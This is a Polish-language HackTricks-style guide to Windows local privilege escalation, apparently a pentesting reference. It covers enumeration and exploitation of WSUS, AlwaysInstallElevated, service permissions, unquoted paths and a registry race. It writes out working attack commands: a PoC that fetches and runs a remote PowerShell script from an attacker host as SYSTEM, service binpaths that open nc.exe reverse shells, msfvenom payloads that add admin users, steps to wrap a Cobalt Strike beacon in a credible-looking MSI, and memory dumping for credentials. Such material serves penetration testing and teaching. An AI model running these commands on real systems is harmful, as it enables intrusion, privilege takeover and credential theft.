Windows Local Privilege Escalation

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks

Najlepsze narzędzie do szukania wektorów Windows local privilege escalation: WinPEAS

Początkowa teoria Windows

Access Tokens

Jeśli nie wiesz, czym są Windows Access Tokens, przeczytaj następującą stronę przed kontynuowaniem:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Sprawdź następującą stronę, aby uzyskać więcej informacji o ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Jeśli nie wiesz, czym są integrity levels w Windows, powinieneś przeczytać następującą stronę przed kontynuowaniem:

Integrity Levels

Windows Security Controls

W Windows istnieją różne rzeczy, które mogą uniemożliwić enumerację systemu, uruchamianie plików wykonywalnych, a nawet wykrywać twoje działania. Powinieneś przeczytać następującą stronę i wyenumerować wszystkie te mechanizmy obronne przed rozpoczęciem enumeracji privilege escalation:

Windows Security Controls

Admin Protection / UIAccess silent elevation

Procesy UIAccess uruchamiane przez RAiLaunchAdminProcess mogą być nadużyte, aby osiągnąć High IL bez promptów, gdy kontrole secure-path AppInfo są obejściowe. Sprawdź tutaj dedykowany workflow obejścia UIAccess/Admin Protection:

Uiaccess Admin Protection Bypass

Propagacja rejestru dostępności Secure Desktop może być nadużyta do arbitralnego zapisu do rejestru SYSTEM (RegPwn):

Secure Desktop Accessibility Registry Propagation LPE (RegPwn)

System Info

Version info enumeration

Sprawdź, czy wersja Windows ma jakąkolwiek znaną podatność (sprawdź też zastosowane poprawki).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

Ten site jest przydatny do wyszukiwania szczegółowych informacji o podatnościach bezpieczeństwa Microsoft. Ta baza danych zawiera ponad 4,700 podatności bezpieczeństwa, pokazując ogromną powierzchnię ataku, jaką prezentuje środowisko Windows.

On the system

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas ma osadzony watson)

Lokalnie z informacjami o systemie

Repozytoria exploitów na Github:

Environment

Jakieś credential/Juicy info zapisane w zmiennych środowiskowych?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Historia PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Pliki transkrypcji PowerShell

Możesz dowiedzieć się, jak to włączyć w https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

Rejestrowanie modułów PowerShell

Szczegóły wykonywania potoków PowerShell są rejestrowane, obejmując uruchomione polecenia, wywołania poleceń oraz fragmenty skryptów. Jednak pełne szczegóły wykonania i wyniki wyjściowe mogą nie zostać przechwycone.

Aby to włączyć, postępuj zgodnie z instrukcjami w sekcji „Transcript files” dokumentacji, wybierając „Module Logging” zamiast „Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Aby wyświetlić ostatnie 15 zdarzeń z logów PowersShell, możesz wykonać:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Kompletna aktywność i pełny zapis zawartości wykonania skryptu są przechwytywane, zapewniając, że każdy blok kodu jest dokumentowany w trakcie działania. Proces ten zachowuje kompleksowy ślad audytowy każdej aktywności, przydatny w analizie forensic i analizie złośliwego zachowania. Dokumentując całą aktywność w momencie wykonania, zapewniane są szczegółowe informacje o procesie.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Zdarzenia logowania dla Script Block można znaleźć w Windows Event Viewer pod ścieżką: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Aby wyświetlić ostatnie 20 zdarzeń, możesz użyć:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Ustawienia Internetu

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Dyski

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Możesz skompromitować system, jeśli aktualizacje nie są pobierane przez httpS, tylko przez http.

Zaczynasz od sprawdzenia, czy sieć używa nieszyfrowanych aktualizacji WSUS, uruchamiając w cmd następujące polecenie:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Albo następujące w PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Jeśli otrzymasz odpowiedź taką jak jedna z tych:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

A jeśli HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer lub Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" ma wartość 1.

Wtedy jest to exploitable. Jeśli ostatni registry ma wartość 0, wpis WSUS zostanie zignorowany.

Aby exploitować te vulnerabilities, możesz użyć narzędzi takich jak: Wsuxploit, pyWSUS - Są to MiTM weaponized exploits scripts do wstrzykiwania “fake” updates do non-SSL ruchu WSUS.

Przeczytaj research tutaj:

WSUS CVE-2020-1013

Przeczytaj pełny report tutaj.
W zasadzie to jest flaw, który exploituje ten bug:

Jeśli mamy power do modyfikacji naszego local user proxy, a Windows Updates używa proxy skonfigurowanego w ustawieniach Internet Explorera, to mamy również power do uruchomienia PyWSUS lokalnie, aby przechwycić nasz własny traffic i uruchomić code jako elevated user na naszym asset.

Ponadto, ponieważ usługa WSUS używa ustawień current user, będzie również używać jego certificate store. Jeśli wygenerujemy self-signed certificate dla hosta WSUS i dodamy ten certificate do certificate store current user, będziemy mogli przechwycić zarówno HTTP, jak i HTTPS traffic WSUS. WSUS nie używa mechanizmów podobnych do HSTS, aby zaimplementować walidację typu trust-on-first-use dla certificate. Jeśli certificate przedstawiony jest trusted przez usera i ma poprawny hostname, zostanie zaakceptowany przez usługę.

Możesz exploitować tę vulnerability, używając narzędzia WSUSpicious (gdy zostanie uwolnione).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Wiele enterprise agents udostępnia lokalny localhost IPC surface oraz privileged update channel. Jeśli enrollment może zostać wymuszony na attacker server, a updater ufa rogue root CA lub słabym sprawdzeniom signer, local user może dostarczyć malicious MSI, który usługa SYSTEM instaluje. Zobacz uogólnioną technikę (opartą na łańcuchu Netskope stAgentSvc – CVE-2025-0309) tutaj:

Abusing Auto Updaters And Ipc

Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)

Veeam B&R < 11.0.1.1261 exposes lokalną usługę na TCP/9401, która przetwarza wiadomości kontrolowane przez attacker, umożliwiając arbitrary commands jako NT AUTHORITY\SYSTEM.

  • Recon: potwierdź listener i version, np. netstat -ano | findstr 9401 oraz (Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion.
  • Exploit: umieść PoC taki jak VeeamHax.exe z wymaganymi bibliotekami Veeam DLL w tym samym katalogu, a następnie wywołaj payload SYSTEM przez local socket:
.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""

Usługa wykonuje polecenie jako SYSTEM.

KrbRelayUp

Istnieje luka typu local privilege escalation w środowiskach Windows domain w określonych warunkach. Warunki te obejmują środowiska, w których LDAP signing is not enforced, użytkownicy mają self-rights pozwalające im konfigurować Resource-Based Constrained Delegation (RBCD), oraz istnieje możliwość tworzenia komputerów w domenie. Warto zauważyć, że te requirements są spełnione przy użyciu default settings.

Znajdź exploit in https://github.com/Dec0ne/KrbRelayUp

Więcej informacji o przebiegu ataku znajdziesz tutaj https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Jeśli te 2 rejestry są enabled (wartość to 0x1), wtedy użytkownicy o dowolnych uprawnieniach mogą install (execute) pliki *.msi jako NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Payloady Metasploit

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Jeśli masz sesję meterpreter, możesz zautomatyzować tę technikę, używając modułu exploit/windows/local/always_install_elevated

PowerUP

Użyj polecenia Write-UserAddMSI z power-up, aby utworzyć w bieżącym katalogu binarny plik Windows MSI do podniesienia uprawnień. Ten skrypt zapisuje wstępnie skompilowany instalator MSI, który wyświetla monit o dodanie użytkownika/grupy (więc będziesz potrzebować dostępu GIU):

Write-UserAddMSI

Po prostu uruchom utworzony plik binarny, aby podnieść uprawnienia.

MSI Wrapper

Przeczytaj ten tutorial, aby dowiedzieć się, jak utworzyć wrapper MSI przy użyciu tych narzędzi. Zwróć uwagę, że możesz opakować plik “.bat”, jeśli po prostu chcesz uruchamiać linie poleceń

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Wygeneruj za pomocą Cobalt Strike lub Metasploit nowy Windows EXE TCP payload w C:\privesc\beacon.exe
  • Otwórz Visual Studio, wybierz Create a new project i wpisz “installer” w polu wyszukiwania. Wybierz projekt Setup Wizard i kliknij Next.
  • Nadaj projektowi nazwę, np. AlwaysPrivesc, użyj C:\privesc jako lokalizacji, zaznacz place solution and project in the same directory i kliknij Create.
  • Klikaj Next, aż dojdziesz do kroku 3 z 4 (choose files to include). Kliknij Add i wybierz właśnie wygenerowany payload Beacon. Następnie kliknij Finish.
  • Zaznacz projekt AlwaysPrivesc w Solution Explorer i w Properties zmień TargetPlatform z x86 na x64.
  • Istnieją też inne właściwości, które możesz zmienić, takie jak Author i Manufacturer, co może sprawić, że zainstalowana aplikacja będzie wyglądać bardziej wiarygodnie.
  • Kliknij prawym przyciskiem myszy projekt i wybierz View > Custom Actions.
  • Kliknij prawym przyciskiem myszy Install i wybierz Add Custom Action.
  • Kliknij dwukrotnie Application Folder, wybierz plik beacon.exe i kliknij OK. To zapewni, że payload beacon zostanie uruchomiony zaraz po uruchomieniu instalatora.
  • W Custom Action Properties zmień Run64Bit na True.
  • Na koniec zbuduj go.
  • Jeśli pojawi się ostrzeżenie File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', upewnij się, że ustawiono platformę na x64.

MSI Installation

Aby wykonać instalację złośliwego pliku .msi w tle:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Aby wykorzystać tę podatność, możesz użyć: exploit/windows/local/always_install_elevated

Antivirus and Detectors

Audit Settings

Te ustawienia decydują o tym, co jest logowane, więc powinieneś zwrócić uwagę

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, jest ważne do wiedzy, gdzie są wysyłane logi

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS jest przeznaczony do zarządzania hasłami lokalnego Administratora, zapewniając, że każde hasło jest unikalne, losowe i regularnie aktualizowane na komputerach dołączonych do domeny. Te hasła są bezpiecznie przechowywane w Active Directory i mogą być odczytywane wyłącznie przez użytkowników, którym przyznano odpowiednie uprawnienia poprzez ACLs, umożliwiając im podgląd haseł lokalnego admina, jeśli są autoryzowani.

LAPS

WDigest

Jeśli aktywny, hasła jawne są przechowywane w LSASS (Local Security Authority Subsystem Service).
Więcej informacji o WDigest na tej stronie.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

Ochrona LSA

Począwszy od Windows 8.1, Microsoft wprowadził ulepszoną ochronę Local Security Authority (LSA), aby blokować próby nieufnych procesów od odczytu jego pamięci lub wstrzykiwania kodu, dodatkowo zabezpieczając system.
Więcej informacji o ochronie LSA tutaj.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credential Guard

Credential Guard został wprowadzony w Windows 10. Jego celem jest zabezpieczenie poświadczeń przechowywanych na urządzeniu przed zagrożeniami takimi jak ataki pass-the-hash.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Poświadczenia w pamięci podręcznej

Poświadczenia domenowe są uwierzytelniane przez Local Security Authority (LSA) i wykorzystywane przez komponenty systemu operacyjnego. Gdy dane logowania użytkownika zostaną uwierzytelnione przez zarejestrowany pakiet zabezpieczeń, zwykle są ustanawiane poświadczenia domenowe dla tego użytkownika.
Więcej informacji o Cached Credentials tutaj.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Użytkownicy i grupy

Wyliczanie użytkowników i grup

Powinieneś sprawdzić, czy któraś z grup, do których należysz, ma interesujące uprawnienia

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Uprzywilejowane grupy

Jeśli należysz do jakiejś uprzywilejowanej grupy, możesz być w stanie podnieść uprawnienia. Dowiedz się więcej o uprzywilejowanych grupach i o tym, jak je nadużywać, aby podnosić uprawnienia, tutaj:

Privileged Groups

Manipulacja tokenami

Dowiedz się więcej o tym, czym jest token na tej stronie: Windows Tokens.
Sprawdź następującą stronę, aby dowiedzieć się o interesujących tokenach i o tym, jak je nadużywać:

Abusing Tokens

Zalogowani użytkownicy / Sesje

qwinsta
klist sessions

Foldery domowe

dir C:\Users
Get-ChildItem C:\Users

Polityka haseł

net accounts

Pobierz zawartość schowka

powershell -command "Get-Clipboard"

Running Processes

Uprawnienia plików i folderów

Przede wszystkim, wyświetlając procesy, sprawdź, czy w linii poleceń procesu nie ma haseł.
Sprawdź, czy możesz nadpisać jakiś uruchomiony binarny plik albo czy masz uprawnienia do zapisu w folderze binarnym, aby wykorzystać możliwe ataki DLL Hijacking:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Zawsze sprawdzaj, czy działają [electron/cef/chromium debuggers], możesz to wykorzystać do podniesienia uprawnień](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).

Sprawdzanie uprawnień plików binarnych procesów

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Sprawdzanie uprawnień folderów plików binarnych procesów (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Możesz utworzyć zrzut pamięci działającego procesu używając procdump z sysinternals. Usługi takie jak FTP mają poświadczenia w postaci jawnego tekstu w pamięci, spróbuj zrzucić pamięć i odczytać poświadczenia.

procdump.exe -accepteula -ma <proc_name_tasklist>

Niezabezpieczone aplikacje GUI

Aplikacje działające jako SYSTEM mogą pozwalać użytkownikowi uruchomić CMD albo przeglądać katalogi.

Przykład: “Windows Help and Support” (Windows + F1), wyszukaj “command prompt”, kliknij “Click to open Command Prompt”

Usługi

Service Triggers pozwalają Windows uruchomić usługę, gdy wystąpią określone warunki (aktywność named pipe/RPC endpoint, zdarzenia ETW, dostępność IP, pojawienie się urządzenia, odświeżenie GPO itd.). Nawet bez uprawnień SERVICE_START często można uruchamiać uprzywilejowane usługi, wywołując ich wyzwalacze. Zobacz techniki enumeracji i aktywacji tutaj:

Service Triggers

Uzyskaj listę usług:

net start
wmic service list brief
sc query
Get-Service

Uprawnienia

Możesz użyć sc aby uzyskać informacje o usłudze

sc qc <service_name>

Zaleca się mieć binarny plik accesschk z Sysinternals, aby sprawdzić wymagany poziom uprawnień dla każdej usługi.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Zaleca się sprawdzić, czy “Authenticated Users” mogą modyfikować dowolną usługę:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Możesz pobrać accesschk.exe dla XP tutaj

Włącz usługę

Jeśli masz ten błąd (na przykład z SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Możesz ją włączyć używając

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Weź pod uwagę, że usługa upnphost zależy od SSDPSRV, aby działać (dla XP SP1)

Innym obejściem tego problemu jest uruchomienie:

sc.exe config usosvc start= auto

Modify service binary path

W scenariuszu, w którym grupa “Authenticated users” posiada SERVICE_ALL_ACCESS na usłudze, możliwa jest modyfikacja wykonywalnego binarnego pliku usługi. Aby zmodyfikować i wykonać sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Restart usługi

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Uprawnienia mogą zostać podniesione poprzez różne permissions:

  • SERVICE_CHANGE_CONFIG: Umożliwia rekonfigurację binary usługi.
  • WRITE_DAC: Umożliwia rekonfigurację permissions, co prowadzi do możliwości zmiany service configurations.
  • WRITE_OWNER: Pozwala na przejęcie ownership i rekonfigurację permissions.
  • GENERIC_WRITE: Dziedziczy możliwość zmiany service configurations.
  • GENERIC_ALL: Również dziedziczy możliwość zmiany service configurations.

Do wykrywania i exploitation tej vulnerability można wykorzystać exploit/windows/local/service_permissions.

Services binaries weak permissions

Sprawdź, czy możesz modyfikować binary wykonywany przez service albo czy masz write permissions do folderu, w którym znajduje się binary (DLL Hijacking).
Możesz uzyskać każdy binary wykonywany przez service za pomocą wmic (nie w system32) i sprawdzić swoje permissions używając icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Możesz też użyć sc i icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Uprawnienia do modyfikacji rejestru usług

Powinieneś sprawdzić, czy możesz modyfikować dowolny rejestr usługi.
Możesz sprawdzić swoje uprawnienia względem rejestru usługi, wykonując:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Należy sprawdzić, czy Authenticated Users lub NT AUTHORITY\INTERACTIVE mają uprawnienia FullControl. Jeśli tak, można zmodyfikować binarny plik uruchamiany przez usługę.

Aby zmienić Path binarnego pliku uruchamianego:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Niektóre funkcje ułatwień dostępu Windows tworzą per-user klucze ATConfig, które są później kopiowane przez proces SYSTEM do klucza sesji HKLM. Registry symbolic link race może przekierować ten uprzywilejowany zapis do dowolnej ścieżki HKLM, dając prymityw arbitrary HKLM value write.

Kluczowe lokalizacje (przykład: On-Screen Keyboard osk):

  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs listuje zainstalowane funkcje ułatwień dostępu.
  • HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\<feature> przechowuje kontrolowaną przez użytkownika konfigurację.
  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session<session id>\ATConfig\<feature> jest tworzony podczas logowania/przejść secure-desktop i jest zapisywalny przez użytkownika.

Przebieg nadużycia (CVE-2026-24291 / ATConfig):

  1. Ustaw wartość HKCU ATConfig, którą chcesz, aby SYSTEM zapisał.
  2. Wywołaj kopiowanie na secure-desktop (np. LockWorkstation), co uruchamia przepływ AT broker.
  3. Wygraj race, zakładając oplock na C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu.xml; gdy oplock się uruchomi, podmień klucz HKLM Session ATConfig na registry link wskazujący na chroniony cel HKLM.
  4. SYSTEM zapisuje wybraną przez atakującego wartość do przekierowanej ścieżki HKLM.

Gdy masz arbitralny zapis wartości HKLM, przejdź do LPE przez nadpisanie wartości konfiguracji usługi:

  • HKLM\SYSTEM\CurrentControlSet\Services\<svc>\ImagePath (EXE/command line)
  • HKLM\SYSTEM\CurrentControlSet\Services\<svc>\Parameters\ServiceDll (DLL)

Wybierz usługę, którą zwykły użytkownik może uruchomić (np. msiserver) i uruchom ją po zapisie. Uwaga: publiczna implementacja exploita blokuje workstation jako część race.

Przykładowe narzędzia (RegPwn BOF / standalone):

beacon> regpwn C:\payload.exe SYSTEM\CurrentControlSet\Services\msiserver ImagePath
beacon> regpwn C:\evil.dll SYSTEM\CurrentControlSet\Services\SomeService\Parameters ServiceDll
net start msiserver

Uprawnienia AppendData/AddSubdirectory w rejestrze usług

Jeśli masz to uprawnienie względem rejestru, oznacza to, że możesz tworzyć podrejestry z tego rejestru. W przypadku usług Windows jest to wystarczające do wykonania dowolnego kodu:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

Jeśli ścieżka do pliku wykonywalnego nie jest ujęta w cudzysłów, Windows spróbuje wykonać każdy fragment kończący się przed spacją.

Na przykład dla ścieżki C:\Program Files\Some Folder\Service.exe Windows spróbuje wykonać:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Wypisz wszystkie unquoted service paths, z wyłączeniem tych należących do wbudowanych usług Windows:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Możesz wykryć i wykorzystać tę podatność za pomocą metasploit: exploit/windows/local/trusted\_service\_path Możesz ręcznie utworzyć binarkę usługi za pomocą metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Actions odzyskiwania

Windows pozwala użytkownikom określić akcje, które mają zostać wykonane, jeśli usługa zawiedzie. Ta funkcja może być skonfigurowana tak, aby wskazywała na binary. Jeśli ten binary da się podmienić, możliwe może być privilege escalation. Więcej szczegółów można znaleźć w official documentation.

Applications

Zainstalowane Applications

Sprawdź permissions binary (może uda ci się nadpisać jeden i wykonać privilege escalation) oraz folders (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Uprawnienia do zapisu

Sprawdź, czy możesz zmodyfikować jakiś plik konfiguracyjny, aby odczytać jakiś specjalny plik, albo czy możesz zmodyfikować jakiś binarny plik, który zostanie uruchomiony przez konto Administratora (schedtasks).

Sposobem na znalezienie słabych uprawnień do folderów/plików w systemie jest:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Notepad++ plugin autoload persistence/execution

Notepad++ automatycznie ładuje każdy plugin DLL znajdujący się w jego podfolderach plugins. Jeśli obecna jest zapisywalna instalacja portable/copy, podłożenie złośliwego plugin daje automatyczne wykonanie kodu wewnątrz notepad++.exe przy każdym uruchomieniu (w tym z DllMain i callbacków pluginu).

Notepad Plus Plus Plugin Autoload Persistence

Run at startup

Sprawdź, czy możesz nadpisać jakiś registry albo binary, który będzie wykonany przez innego użytkownika.
